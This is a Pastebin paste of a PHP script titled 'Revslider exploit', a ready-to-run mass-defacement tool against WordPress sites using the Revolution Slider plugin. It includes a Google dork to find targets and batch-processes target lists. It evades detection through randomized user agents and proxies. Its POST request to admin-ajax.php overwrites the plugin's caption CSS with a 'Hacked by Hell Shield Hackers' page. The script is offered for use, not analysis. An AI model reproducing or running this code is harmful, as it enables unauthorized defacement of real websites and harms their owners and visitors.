Advertisement
in73ct0rd3vil

Revslider exploit

Jun 14th, 2015
4,015
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.30 KB | None | 0 0
  1. <?php
  2.  
  3. # This tool does not exploit Index.php
  4. # Google DORK: inurl:admin-ajax.php?action=revslider_show_image -intext:"revslider_show_image"
  5. # Dont think yourself leet by using this script
  6. # Changing name wont make u leet
  7. # Exemples target:
  8. error_reporting(1);
  9. set_time_limit(0);
  10. ini_set('display_errors', 1);
  11. ini_set('max_execution_time', 0);
  12. ini_set('allow_url_fopen', 1);
  13. ob_implicit_flush(true);
  14. ob_end_flush();
  15. $op_ = getopt('f:t:', array('help::'));
  16. echo "Revslider exploit - in73ct0r d3vil ";
  17. $menu = "
  18. -t : SET TARGET.
  19. -f : SET FILE TARGETS.
  20. -p : SET PROXY
  21. Execute:
  22. php exploit.php -t target
  23. php exploit.php -f targets
  24. php exploit.php -t target -p 'http://localhost:9090'
  25. \n";
  26. echo isset($op_['help']) ? exit($menu) : NULL;
  27. $params = array(
  28. 'target' => not_isnull_empty($op_['t']) ? (strstr($op_['t'], 'http') ? $op_['t'] : "http://{$op_['t']}") : NULL,
  29. 'file' => !not_isnull_empty($op_['t']) && not_isnull_empty($op_['f']) ? $op_['f'] : NULL,
  30. 'proxy' => not_isnull_empty($op_['p']) ? $op_['p'] : NULL,
  31. 'deface' => "<body style='color: transparent;background-color: black'><center><h1><b style='color: white'>[ Hacked by Hell Shield Hackers ]<br><marque>in73ct0r d3vil was here<p style='color: transparent'>",
  32. 'line' => "--------------------------------------------------------------"
  33. );
  34. not_isnull_empty($params['target']) && not_isnull_empty($params['file']) ? exit("[X] [ERRO] DEFINE TARGET OR FILE TARGET\n") : NULL;
  35. not_isnull_empty($params['target']) ? __request($params) . exit() : NULL;
  36. not_isnull_empty($params['file']) ? __listTarget($params) . exit() : NULL;
  37. function not_isnull_empty($valor = NULL) {
  38. RETURN !is_null($valor) && !empty($valor) ? TRUE : FALSE;
  39. }
  40. function __plus() {
  41. ob_flush();
  42. flush();
  43. }
  44. function __listTarget($file) {
  45. $tgt_ = array_unique(array_filter(explode("\n", file_get_contents($file['file']))));
  46. echo "\n\t[!] [INFO] TOTAL SITES LOADED : " . count($tgt_) . "\n\n";
  47. foreach ($tgt_ as $url) {
  48. echo "\n[+] [INFO] SCANNING : {$url} \n";
  49. __plus();
  50. $file['target'] = $url;
  51. __request($file) . __plus();
  52. }
  53. }
  54. function __setUserAgentRandom() {
  55. $agentBrowser = array('Firefox', 'Safari', 'Opera', 'Flock', 'Internet Explorer', 'Seamonkey', 'Tor Browser', 'GNU IceCat', 'CriOS', 'TenFourFox',
  56. 'SeaMonkey', 'B-l-i-t-z-B-O-T', 'Konqueror', 'Mobile', 'Konqueror', 'Netscape', 'Chrome', 'Dragon', 'SeaMonkey', 'Maxthon', 'IBrowse'
  57. );
  58. $agentSistema = array('Windows 3.1', 'Windows 95', 'Windows 98', 'Windows 2000', 'Windows NT', 'Linux 2.4.22-10mdk', 'FreeBSD',
  59. 'Windows XP', 'Windows Vista', 'Redhat Linux', 'Ubuntu', 'Fedora', 'AmigaOS', 'BackTrack Linux', 'iPad', 'BlackBerry', 'Unix',
  60. 'CentOS Linux', 'Debian Linux', 'Macintosh', 'Android', 'iPhone', 'Windows NT 6.1', 'BeOS', 'OS 10.5', 'Nokia', 'Arch Linux',
  61. 'Ark Linux', 'BitLinux', 'Conectiva (Mandriva)', 'CRUX Linux', 'Damn Small Linux', 'DeLi Linux', 'Ubuntu', 'BigLinux', 'Edubuntu'
  62. );
  63. $locais = array('cs-CZ', 'en-US', 'sk-SK', 'pt-BR', 'sq_AL', 'sq', 'ar_DZ', 'ar_BH', 'ar_EG', 'ar_IQ', 'ar_JO',
  64. 'ar_KW', 'ar_LB', 'ar_LY', 'ar_MA', 'ar_OM', 'ar_QA', 'ar_SA', 'ar_SD', 'ar_SY', 'ar_TN', 'ar_AE', 'ar_YE', 'ar',
  65. 'be_BY', 'be', 'bg_BG', 'bg', 'ca_ES', 'ca', 'zh_CN', 'zh_HK', 'zh_SG', 'zh_TW', 'zh', 'hr_HR', 'hr', 'cs_CZ', 'cs',
  66. 'da_DK', 'da', 'nl_BE', 'nl_NL', 'nl', 'en_AU', 'en_CA', 'en_IN', 'en_IE', 'en_MT', 'en_NZ', 'en_PH', 'en_SG', 'en_ZA',
  67. 'en_GB', 'en_US', 'en', 'et_EE', 'et', 'fi_FI', 'fi', 'fr_BE', 'fr_CA', 'fr_FR', 'fr_LU', 'fr_CH', 'fr', 'de_AT', 'de_DE'
  68. );
  69. return $agentBrowser[rand(0, count($agentBrowser) - 1)] . '/' . rand(1, 20) . '.' . rand(0, 20) . ' (' . $agentSistema[rand(0, count($agentSistema) - 1)] . ' ' . rand(1, 7) . '.' . rand(0, 9) . '; ' . $locais[rand(0, count($locais) - 1)] . ';)';
  70. }
  71. function __request($__) {
  72. $curlxpl = curl_init();
  73. curl_setopt($curlxpl, CURLOPT_URL, "{$__['target']}/wp-admin/admin-ajax.php");
  74. (!is_null($__['proxy']) ? curl_setopt($curlxpl, CURLOPT_PROXY, $__['proxy']) : NULL);
  75. curl_setopt($curlxpl, CURLOPT_USERAGENT, __setUserAgentRandom());
  76. curl_setopt($curlxpl, CURLOPT_POST, 1);
  77. curl_setopt($curlxpl, CURLOPT_POSTFIELDS, array("action" => "revslider_ajax_action","client_action" => "update_captions_css", "data" => $__['deface']));
  78. curl_setopt($curlxpl, CURLOPT_RETURNTRANSFER, 1);
  79. curl_setopt($curlxpl, CURLOPT_FOLLOWLOCATION, 1);
  80. curl_setopt($curlxpl, CURLOPT_SSL_VERIFYPEER, false);
  81. curl_setopt($curlxpl, CURLOPT_SSL_VERIFYHOST, 0);
  82. curl_setopt($curlxpl, CURLOPT_COOKIEFILE, 'cookie.log');
  83. curl_setopt($curlxpl, CURLOPT_COOKIEJAR, 'cookie.log');
  84. $result = curl_exec($curlxpl) . __plus();
  85. if (eregi('true', $result)) {
  86. $h = "{$__['target']}/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css";
  87. echo "[!] [INFO] Success Exploit!\n";
  88. echo "[!] [INFO] URL FILE MODIFIED: {$h}\n{$__['line']}\n";
  89. __plus();
  90. file_put_contents("revslider.txt", "{$h}\n\n", FILE_APPEND);
  91. } else {
  92. echo "[!] [FAIL] {$__['target']} : nothing changed \n{$__['line']}\n";
  93. }
  94. curl_close($curlxpl);
  95. unset($curlxpl);
  96. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement